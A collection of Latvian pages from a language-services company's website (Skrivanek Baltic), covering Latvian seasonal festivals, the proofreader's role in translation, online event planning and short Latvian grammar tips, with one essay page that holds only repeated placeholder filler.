paaudzē krāja zināšanas par Saules ritējumu debesīs. Visos gadalaikos saule debesīs nepakāpjas vienādi augstu – vasarā tā uzlec augstāk, ziemas īsajās dienās tās ceļš iet zemu virs apvāršņa. Visaugstāk Saule uzkāpj debesīs Zāļu dienā, kas ir pati garākā diena gadā. Agrākos laikos uzskatīja, ka diennakts sākas līdz ar vakara iestāšanos, tādēļ Jāņu svinēšana iesākās jau 22. jūnija vakarā. Viszemāk saule uzkāpj debesīs 22. decembrī, visīsākajā dienā gadā. Ap šo laiku latvieši svin Ziemassvētkus. Rudenī – 23. septembrī un pavasarī, 21. martā, diena un nakts kļūst vienāda garuma. Arī šie datumi ir nozīmīgi Zemes ritējumā ap sauli. Tāpēc latvieši svinējuši arī Miķeļus un Lieldienas. Saulgrieži iedala gadu 4 posmos. Kad vācu krustneši iekaroja tagadējo Latvijas teritoriju, viņi atnesa kristīgo ticību. Kristiešiem bija savs kalendārs un savas svinamās dienas, tomēr pagāniem tās bija svešas. Lai padarītu savus svētkus saprotamākus un izskaustu vietējās tradīcijas, katoļu baznīca tos pielāgoja senajiem pagānu svētkiem. Laika gaitā pagānu un kristīgās pasaules svētku tradīcijas saplūda, izveidojot tos svētkus, kurus svinam tagad. Datumi nāk no katoļu kalendāra, taču liela daļa tradīciju ir saglabājušās no pagānu laikiem. ZIEMASSVĒTKI Visīsākā diena un visgarākā nakts, kuru latvieši gaidījuši ar nepacietību, ir ziemas saulgrieži. Pēc Ziemassvētkiem Saule sāk celties augstāk virs apvāršņa un dienas stiepjas garumā. Saulgriežu diena ir 22. decembris, taču Ziemassvētkus svin 3–4 dienas no 20. –21. decembra. Kā jau visus saulgriežus, arī ziemas saulgriežus svin līksmi. Mūsdienās daudzas no seno latviešu tradīcijām ir gandrīz izzudušas, tās ir zināmas vien retās mājās, piemēram: puzuru, dažādu rotājumu darināšana no salmiem vai niedrēm, kaltētām puķēm, dzijas un putnu spalvām. Ļoti svarīga bija un ir Ziemassvētku ēdienu gatavošanas tradīcija, kaut arī ir ēdieni, kas ir pavisam aizmirsti. Izplatīta arī bija bluķa vilkšana, nākotnes zīlēšana, iešana ķekatās. Visas šīs tradīcijas bija Saules atmodināšanas un godināšanas rituāli. Mums labi pazīstamā Ziemassvētku eglīte un vecītis ir ienākuši latviešu Ziemassvētkos salīdzinoši nesen – aptuveni pirms 100─150 gadiem. Ziemassvētku laiks ir arī apdāvināšanās laiks, kad lieli un mazi steidz iepriecināt savus mīļos, un kas gan var būt labāks par dāvanu karti valodu kursiem Skrivanek Mācību centrā! Nenokavē! LIELDIENAS Ziemai atkāpjoties, naktis kļūst īsākas un dienas tikpat garas, cik naktis. Tad pienāk Lieldienu laiks. Pēc šiem saulgriežiem jau dienas kļūs garākas par naktīm un turpinās pieaugt līdz pat Jāņiem. Agrāk Lieldienas svinējuši trīs dienas. Lieldienu rituālos un tradīcijās latvieši izteikuši savu prieku par atnākušo pavasari, zemes mošanos, gaismas un dzīvības atgriešanos dabā. Lielākā daļa tradīciju ir saistītas ar auglības veicināšanu – olu krāsošana, šūpoļu kāršana, celšanās pirms saules lēkta. Šūpošanos ļaudis noskatījās dabā – kā labība vējā šūpojoties, pamazām nobriest. Pastāv arī ticējums, ka Lieldienu rītā pati saule debesīs dejo un šūpojas. Un ļaudis domāja, ka atdarinot šādas kustības, viņi vairos auglības spēku. Rietumkurzemē bija izplatīta putnu dzīšanas tradīcija. Arī tās nozīme bija pasargāt no ļaunuma un slimībām, tāpat kā pēršana ar pūpolu zariem. Olu krāsošanas tradīcija ieviesusies salīdzinoši nesen – jaunākos laikos. Bet tā ir kļuvusi par vienu no skaistākajām un izplatītākajām Lieldienu nodarbēm, kas kopā sapulcina gan lielus, gan mazus. Ola ir jaunas dzīvības simbols, tā ir apaļa kā saule. Latvieši ticēja, ka veicot dažādas izdarības ar olām, dzīvības spēks no tām pāriet uz cilvēkiem un dzīvniekiem. JĀŅI Kad pienāca gada visgarākā diena, kurai sekoja visīsākā nakts, klāt bija Jāņi. Jāņi izsenis ir bijuši latviešu vismīlētākie svētki. Tiem gatavojās ļoti cītīgi, kopjot sētu, pušķojot pagalmu, sienot sieru, darot alu. Zāļu dienā plūktām zālēm piemita īpašs spēks, tādēļ ar tām pušķoja māju, pagalmu, pina vainagus un izrotājās paši, kā arī izrotāja lopus. Katram rituālam ir sava saistība un nozīme ar dabu – ar uguni, ūdeni un zemi. Ar ūdeni – mazgāšanās rasā, ar uguni – šķīstīšanās, lecot pāri ugunij, ar zemi – plūcot Jāņu zāles un vijot vainagos. Starp citu – līdz Latvijas brīvvalsts nodibināšanai ne tikai Jāņi, bet visi citi svētki tika svinēti pēc vecā kalendāra. Jāņi tad iekrita naktī no piektā uz sesto jūliju. Visi skaistie Līgo svētku un Jāņu svinēšanas apraksti latviešu literatūrā, piemēram: Jānim Jaunsudrabiņam, Rūdolfam Blaumanim, Jānim Akurateram, attiecas tieši uz jūlija sākumu, nevis jūnija otro pusi. Pat 30. gados Latvijas laikā ļaudis Latvijas novados svinējuši kā vecos, tā jaunos Jāņus. Padomju okupācijas laikā desmit gadus – no 1950. līdz 1952. gadam un no 1960. līdz 1966. gadam – latviešiem bija aizliegts kaut ar vārdu pozitīvā nozīmē pieminēt Līgo svētkus un Jāņus. Vasaras saulgriežus tad varēja svinēt tikai slepus, lai kāds čekas ziņotājs neieraudzītu Jāņu ugunis. Jāņu pieminēšana tika uzskatīta teju par tautas nodevību. Viena no leģendām vēsta, ka Jāņu svinēšanas aizliegumu akceptēja pat Hruščovs, jo tā atraujot lauku darbaļaudis no kukurūzas audzēšanas. Bet visticamāk, ka svinēšanas aizliedza ar Latvijas PSR kompartijas vadoņa Arvīda Pelšes rīkojumu, jo viņš pat bija uzdevis zinātniski pamatot to, ka Jāņi ir no dzīves atpalikušu elementu, dzērāju un nacionālistu svētki. Līgošanu atkal nemanāmi atjaunoja Brežņeva laikā, bet līgot vajadzējis ideoloģiski pareizi, godinot cūku audzēšanas pirmrindnieces un nosodot lauku traktoristu tieksmi pēc alkohola. Uz teātru skatuvēm atkal atgriezās “Skroderdienas Silmačos”. MIĶEĻI Astronomiskie rudens saulgrieži ir brīdis, kad nakts kļūst tikpat gara kā diena un tas ir 23. septembris. Laika gaitā rudens saulgriežu svinības tika piesaistītas Miķeļdienai – 29. septembrim. Tādēļ šos svētkus arī dēvē par Miķeļdienu. Ap šo laiku visiem lauku darbiem vajadzētu būt apdarītiem, labībai novāktai, sienam nopļautam. Mūsdienu latviešu sabiedrībā šie svētki ir gandrīz aizmirsti, atšķirībā no Lieldienām, Jāņiem un Ziemassvētkiem, tie tikpat kā netiek svinēti. Tas varētu būt izskaidrojams ar latviešu tautas atsvešināšanos no lauku dzīves, pārcelšanos uz pilsētām. Līdz ar to, svarīgāko lauku darbu beigšanās kā ražas novākšana, labības nokulšana netiek izjusti kā kaut kas īpašs, kā tas bija senajiem latviešiem. ZIEMASSVĒTKI VAI ZIEMAS SAULGRIEŽI? Vai rakstīsim Ziemas saulgrieži jeb Ziemassvētki vai ziemas saulgrieži jeb ziemassvētki? Uzziniet atbildi šajā latviešu valodas padomā! Valodas padoms LĪGO SVĒTKI VAI JĀŅI? Kādus svētkus mēs svinam jūnijā – Līgo svētkus vai Jāņus? Uzziniet atbildi šajā latviešu valodas padomā! Valodas padoms  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties --- - Published: 2022-02-17 - Modified: 2023-11-21 - URL: https://skrivanek.lv/eseja-valoda-mana-iespeja/ - Kategorijas: Eseju konkurss - Translation Priorities: Optional ESEJA “VALODA – MANA IESPĒJA” Autors: Jānis Lapiņš, Aizkraukles novada ģimnāzija, 10. A klase” I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. I am text block. Click edit button to change this text. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo. --- > Par to, kādu pievienoto vērtību rada korektora darbs tulkošanās procesā – lasi šajā Skrivanek rakstā. - Published: 2021-11-03 - Modified: 2025-07-15 - URL: https://skrivanek.lv/korektora-loma-tulkotaju-darba/ - Kategorijas: Raksti - Translation Priorities: Optional KATRAM TULKOJUMAM IR NEPIECIEŠAMS SKATS NO MALAS: KOREKTORA LOMA TULKOTĀJU DARBĀ Tulkojuma kvalitāte tiek vērtēta pēc ļoti dažādiem kritērijiem, piemēram, kamēr vieni pievērš uzmanību interpunkcijai un valodas normām, citi diskutē par tulkojuma saprotamību un terminoloģijas pareizu lietojumu, savukārt vēl citi uzsver tulkojuma stilistiku, bagātu vārdu krājumu un poētiku. Arī valodu uzņēmumiem ir svarīgi pārliecināties, ka, nododot teksta tulkojumu klientam, ir ievēroti iepriekš minētie kritēriji. Par to, kādu pievienoto vērtību rada korektora darbs tulkošanās procesā – lasi šajā rakstā. Valodu speciālistu vērtējumā korektūra ir tikpat nozīmīgs darbs kā teksta tulkošana. Kāpēc? Vairāku iemeslu dēļ – pirmkārt, tulkotāji ikdienā vienlaikus strādā ar specifiskiem dažādu nozaru un tipu tekstiem, kur katrā no tiem ir jāievēro konkrēti nodefinētas tekstveides prasības, paralēli jāstrādā ar terminoloģijas datubāzēm un datorizētajiem palīgrīkiem, kas dienas noslēgumā var likt apjukt pat profesionālākajam speciālistam. Otrkārt, lai arī cik liels poliglots tulkotājs nebūtu, darba dienas gaitā nepārtraukti pārfokusējot uzmanību no vienas valodas otrā, tulkojumā var iezagties kļūdas, kuras vislabāk var pamanīt tikai kāds no malas, proti, korektors. Treškārt un galvenokārt, iztulkotā materiāla kvalitāte, kad to jau lasīs plašāka auditorija, vistiešākā mērā raisīs asociācijas ar tulkojuma pasūtītāja tēlu un reputāciju. Tādējādi tulkošanas un citu valodu pakalpojumu nozarē princips “dubults neplīst” ir ļoti būtisks, piemēram, Skrivanek Baltic katra tulkotā materiāla korektūra ir būtiska daļa no standarta pakalpojuma darbplūsmas. Korektors ikdienā veic vairāk nekā sākotnēji varētu šķist – viņa pienākumos ir ne tikai teksta koriģēšana, literāro un gramatisko kļūdu labošana vai teksta izlaidumu konstatēšana, bet arī gulstas atbildība par gala tulkojuma skaidrību un lasāmību. Apgalvojums, ka mūsdienās visu var paveikt ar publiski pieejamajiem mašīntulkošanas rīkiem un “autokorektoriem”, arī nebūs patiess. Ir jāsaprot, ka mākslīgais intelekts netiek un visticamāk arī nekad netiks galā ar tādām valodas niansēm kā, piemēram, polisēmiju (divu vai vairāku savstarpēji saistītu nozīmju piemitība vienam vārdam), poētismiem (vārdi vai vārdu savienojumi, kam piemīt liriska vai patētiski emocionāla nokrāsa), ir jāpatur prātā, ka valoda nav statiska, tā nepārtraukti mainās, mūsu ikdienā ienāk jaunas reālijas, kam tiek meklēti un darināti jauni termini. Visbeidzot rakstīts teksts ir arī mūsu sarežģītā domāšanas procesa rezultāts. Pēdējos gados valodu pakalpojumu nozarē ir vērojams augsts pieprasījums pēc lokalizācijas un satura adaptācijas pakalpojumiem, kur korektora darbs ir neaizstājams. KĀDI IR “SKRIVANEK BALTIC” KOREKTORU PIENĀKUMI, SAŅEMOT TULKOTU TEKSTU UZ GALA PĀRBAUDI? Mūsu korektori veic teksta saturisko un formālo analīzi atbilstoši rediģējamā teksta specifikai un valodas kultūras prasībām. Labo interpunkciju un ortogrāfiju saskaņā ar literārās valodas prasībām. Konsultējas ar tulkotāju, klientu un citiem speciālistiem, rūpējas par teksta kontekstu un skaidrību (piemēram, izvērtē jaunvārdu vai svešvārdu lietojumu). Pārlasa jebkuru materiālu (tekstu, reklāmu materiālus, juridiska rakstura dokumentus, vēstules u. c. dokumentus) vairākas reizes, lai pārliecinātos, ka ir novērstas visas iespējamās kļūdas. Bez šaubām korektors strādā arī ar papildu uzziņu materiāliem – izmanto dažādus valodu resursus, proti, gramatikas, skaidrojošās un tulkojošās vārdnīcas, valodas prakses rokasgrāmatas, lietvedības standartus, kā arī valsts valodas normatīvos aktus un tīmeklī pieejamo informāciju. Ļoti nozīmīgi ir arī materiāli, kurus kā references atsūta paši klienti. Palīdz papildināt tulkotāju zināšanas un prasmes par valodas kultūru, valodas praksēm un aktualitātēm. Tādēļ valodu pakalpojumu neatņemamas komponentes joprojām ir: a) tulkotāja darbs, b) datorizētie palīglīdzekļi un c) korektors. Līdz ar to korektors joprojām ir neaizstājams palīgs tulkošanas procesā dien dienā palīdzot tulkotājiem un visai valodu uzņēmuma komandai uzlabot, noslīpēt un tehniski sakārtot paveiktos tulkojumus. Kā arī pēc jebkura teksta uzrakstīšanas vai iztulkošanas vienmēr to ir ieteicams pārlasīt atkārtoti gan pašam, gan iedot caurskatīšanai kādam no malas, jo ļoti bieži mēs vienkārši sevis pieļautās kļūdas neredzam. --- > Šajā rakstā ir uzskaitīti pāris pieredzē balstīti soļi, kas palīdzēs organizēt nākamo tiešsaistes pasākumu. - Published: 2021-09-02 - Modified: 2025-07-15 - URL: https://skrivanek.lv/no-a-lidz-z-kvalitativa-tiessaistes-pasakuma-abece/ - Kategorijas: Raksti - Translation Priorities: Optional NO A LĪDZ Ž – KVALITATĪVA TIEŠSAISTES PASĀKUMA ĀBECE Tiešsaistes pasākumi pēdējo divu gadu laikā ir kļuvuši gandrīz par neaizvietojamu komunikācijas elementu visām organizācijām un viedokļu līderiem ar sabiedrību, tādējādi mazinot neparedzamības elementu – atceltus pasākumus, ko mums nesusi Covid-19 pandēmija. Tomēr arī šāds pasākuma formāts pieprasa nopietnu sagatavošanos, risku minimizēšanas plānu un nedalītu pasākumu rīkotāju uzmanību. Zemāk uzskaitīti pāris pieredzē balstīti soļi, kas palīdzēs organizēt nākamo tiešsaistes pasākumu. PLĀNOŠANA, PLĀNOŠANA UN VĒLREIZ PLĀNOŠANA Pirms tiešsaistes pasākuma norises, ir svarīgi rūpīgi pārdomāt pasākuma mērogu, runātāju un dalībnieku skaitu. No šiem raksturlielumiem būs atkarīgs pasākuma rīkošanā iesaistīto atbalsta personu skaits un kopējais komandas darba apjoms. Piemēram. Ir vairāki jautājumi, uz kuriem nepieciešams atbildēt pasākuma organizatoriskajam vadītājam. Vai mums ir nepieciešams pasākuma vadītājs, nereti saukts arī par “Virtuālās skatuves” vadītāju? Vai šis cilvēks būs atbildīgs arī par viesu un runātāju sagaidīšanu, jo īpaši, ja paredzēta dalībnieku reģistrācija? Vai būs nepieciešams pie viesu sagaidīšanas teikt ievadvārdus, praktiskus un svarīgus norādījumus par pašu pasākumu gan klausītājiem, gan arī runātājiem? Vai būs nepieciešams izskaidrot kārtību, kā pasākuma dalībnieki varēs uzdot jautājumus? Kurš būs tas, kas sekos laika un pasākuma plānam? TEHNISKĀS NIANSES Neatkarīgi no pasākuma mēroga obligāts ir pasākuma tehniskais atbalsts, jo īpaši, ja pasākuma laikā tiek plānots izmantot interaktīvus tiešsaistes palīglīdzekļus – tāfeles, balsošanas platformas vai aptaujas, grupu aktivitātes, arī tad, ja pasākumu ir plānots pārraidīt kādā no sociālajiem medijiem. Jautājumi, uz kuriem būtu sev jāatbild tehniskās fāzes laikā. Kādus palīglīdzekļus ir plānots izmantot tiešsaistes pasākumā (tiešsaistes aptauju, slaidu rādīšanas iespējas u. c. )? Vai pasākuma laikā varēs izmantot tērzētavu? Kurš un kam varēs uzdot jautājumus? Vai būs nepieciešama persona, kas apkopos tērzētavā vai komentāru sadaļā uzdotos jautājumus? Kurš jautājumus nolasa runātājiem? Vai jautājumus būs nepieciešams tulkot? Svarīgi! Liela mēroga pasākumos nereti strādā ne tikai sinhronie tulki, bet arī papildu tulkotājs, kurš tulko tērzētavā uzdotos jautājumus vai palīdz organizatoriem sniegt svarīgus paziņojumus. TESTING, TESTING, TESTING – 1,2,3 Svarīgs pasākuma izdošanās priekšnosacījums ir visu dalībnieku un tehniskā atbalsta komandas testa saslēgšanās un īsa pasākuma simulācija, kurā tiek pārbaudīta dzirdamība, video kvalitāte, vai nav kādi fona trokšņi, atbalss. Tādēļ šajā attālināto pasākumu laikmetā rekomendējam izmantot pēc iespējams kvalitatīvākas skaņas, video ievadierīces (austiņas, mikrofons) un viennozīmīgi arī laikā, kad 5G tehnoloģijas tikai ienāk mūsu ikdienā un plašākai auditorijai vēl nav pieejamas, iesaku mājās veikt diagnostiku, lai pārliecinātos, kurā telpā, piemēram, vai uz terases varam būt sasniedzami tiešsaistes pasākumā, un attiecīgi pielāgot pašreizējos risinājumus vai sagādāt jaunus, lai komunikācija ar ārpasauli būtu nepārtraukta un attēls būtu dzidrs. VIZUĀLAIS NOFORMĒJUMS Lai tiešsaistes pasākums paliktu atmiņā, vēlams izmantot radošus risinājumus un galvenajiem dalībniekiem vēlams atrasties speciāli šim pasākumam iekārtotā telpā jeb klātienē. Šāds formāts pieprasa, lai ir profesionāla video uzņemšanas tehnika, kā arī pasākuma tematikai pielāgoti fona risinājumi. Un ja šajā telpā atrodas arī pasākuma radošā komanda un tulku kolektīvs, būs vieglāka pasākuma koordinācija un vadība. ARĪ TULKAM IR JĀSAGATAVOJAS Ja ir paredzēta uzstāšanās tiešsaistes pasākumā, iesakām laikus visu izrunāt ar tulkiem. Ļoti svarīgs aspekts ir savlaicīga visu uzstāšanās laikā izmantoto materiālu – prezentāciju, video materiālu, pētījumu atsauču, statistikas datu – nosūtīšana un izrunāšana ar tulku. Lai kvalitatīvi sagatavotos pasākumam, tulkiem ir nepieciešams pirms tam pārskatīt visus materiālus. Pasākuma organizatoram jāpārliecinās, ka tulks ir informēts par visiem materiāliem, kā arī var būt gatavs konkrētās nozares terminoloģijas izmantošanai tiešsaistē. AUDITORIJAS IESAISTE Vai runātāji plāno iesaistīt savu auditoriju kādās aktivitātes? Ir tiešsaistes pasākumi, kuros dalībnieki dažas minūtes ir dejojuši, lai atbrīvotos, spēlējuši spēli, kur katrs dalībnieks pēc noteiktas komandas sastingst uz minūti – tas palīdz runātājiem un arī klausītājiem būt atvērtākiem. Būtiski ir arī saprast, vai ir plānots izmantot interaktīvos rīkus, aicinot auditorijai darīt kaut ko praktisku, piemēram, zīmēt uz interaktīvās tāfeles. Lielākas auditorijas gadījumā ir rekomendējams paredzēt brīdi, kad dalībnieki tiek sadalīti dažādās nodalītās “istabās” jeb virtuālajās telpās – tas ir veids, kā visiem dalībniekiem tikt pie vārda un iesaistīties diskusijā. Svarīgi! Arī tulki ir savlaicīgi jāizglīto, kā pareizi lietot vienu vai otru rīku. Uzdodot “jā vai nē” jautājumus, iespējams nolasīt auditorijas emocijas un iesaisti. Saikne ar auditoriju tiešsaistes pasākumos ir liels izaicinājums. Ir ļoti grūti runāt un prezentēt, ja visiem pasākuma dalībniekiem vai klausītājiem ir izslēgtas kameras. Ja esat tiešsaistes pasākuma dalībnieks, atcerieties – runātājam iesaistīšanās ir ļoti svarīga, izmantojiet iespēju uzdot papildu jautājumus ar “Pacelt roku” funkciju. Pēc pasākuma noteikti pasakiet paldies, jo tiešsaistes platformu izstrādātāji jau ir sarūpējuši dažādas šim nolūkam paredzētas emocijzīmes – aplausus, sirsniņas un citas zīmes, kas apliecina pateicību par uzstāšanos. --- > Saule izspraucas caur mākoņiem pa laikam vai palaikam? Ieskaties un uzzini pareizo atbildi! Daudzi citi noderīgi latviešu valodas padomi. - Published: 2020-05-27 - Modified: 2024-10-22 - URL: https://skrivanek.lv/palaikam-pret-laiku-pa-laikam-pret-ik-pa-laikam/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PALAIKAM PRET LAIKU PA LAIKAM PRET IK PA LAIKAM 1 Saule pa laikam izspraucas caur mākoņiem. Saule palaikam izspraucas caur mākoņiem. Apstākļa vārdi, kas radušies, saaugot kopā prievārdam un patstāvīgam vārdam, un kuros vārda uzsvars ir otrajā zilbē, veido salikteni un rakstāmi kopā, piemēram, „paretam”, „pavisam”, „papilnam”, „patiešām”, „pagalam”, „palaikam”. Turpretī vārdu savienojums „laiku pa laikam” vai „ik pa laikam” ar nozīmi „reizēm, brīžiem, dažreiz” rakstāms atsevišķi, piemēram, „laiku pa laikam iesmējās bērns. Tātad pareizi ir: „Saule palaikam izspraucas caur mākoņiem. ”Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Esam pazīstami vairāk nekā divdesmit gadu vai divdesmit gadus? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2020-05-27 - Modified: 2024-10-22 - URL: https://skrivanek.lv/nelokamie-skaitla-vardi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NELOKĀMIE SKAITĻA VĀRDI 1 Esam pazīstami vairāk nekā divdesmit gadu. Esam pazīstami vairāk nekā divdesmit gadus. Skaitļa vārdi „desmit”, „simt”, „tūkstoš”, vārdi no „vienpadsmit” līdz „deviņpadsmit”, kā arī saliktie pamata skaitļa vārdi – „divdesmit”, „trīssimt”, „četrtūkstoš” utt. – ir nelokāmi. Ar nelokāmu skaitļa vārdu var lietot gan lietvārdu nominatīvā (kas? ), gan ģenitīvā (kā? ), piemēram, „saulē gozējas desmit kaķi” vai „saulē gozējas desmit kaķu”. Savukārt ar lokāmu skaitļa vārdu – „desmits”, „simts”, „tūkstotis” – parasti lieto ģenitīvu, piemēram, „skolā mācās vien daži simti skolēnu”. Tātad pareizi ir abi varianti. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai valstu vadītāji tiekas samitā vai sammitā? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2020-05-27 - Modified: 2024-08-26 - URL: https://skrivanek.lv/samits-pret-sammits/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SAMITS PRET SAMMITS 1 Vai valstu vadītāji tiekas samitā vai sammitā? Vārds „samits” ir cēlies no angļu vārda „summit”, un latviešu valodā tas ieviesies aptuveni pirms 60 gadiem. Angļu valodā vārds nozīmē „virsotne, galotne, arī augstākā pakāpe”. Latviski to lieto kā politisku terminu, apzīmējot valstu vadītāju tikšanos, tomēr mēdzam arī sacīt „galotņu tikšanās” „galotņu apspriede”, ar to saprotot tikšanos augstākajā līmenī. Vārdnīcās šī vārda rakstība norādīta atšķirīgi – gan „samits”, gan „sammits”, gan abas versijas kopā. Sākotnēji vārds rakstīts ar diviem „m”, un vēl mūsdienās, visticamāk, angļu valodas rakstības ietekmē tas tekstos parādās ar dubulto „m” – „sammits”, kas neatbilst vārda izrunai tā oriģinālvalodā. Aizguvumos latviskā forma tiek veidota, pamatojoties uz svešvalodas izrunu, tādēļ vārds „samits” jāraksta ar vienu „m”. Tātad valstu vadītāji tiksies samitā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu 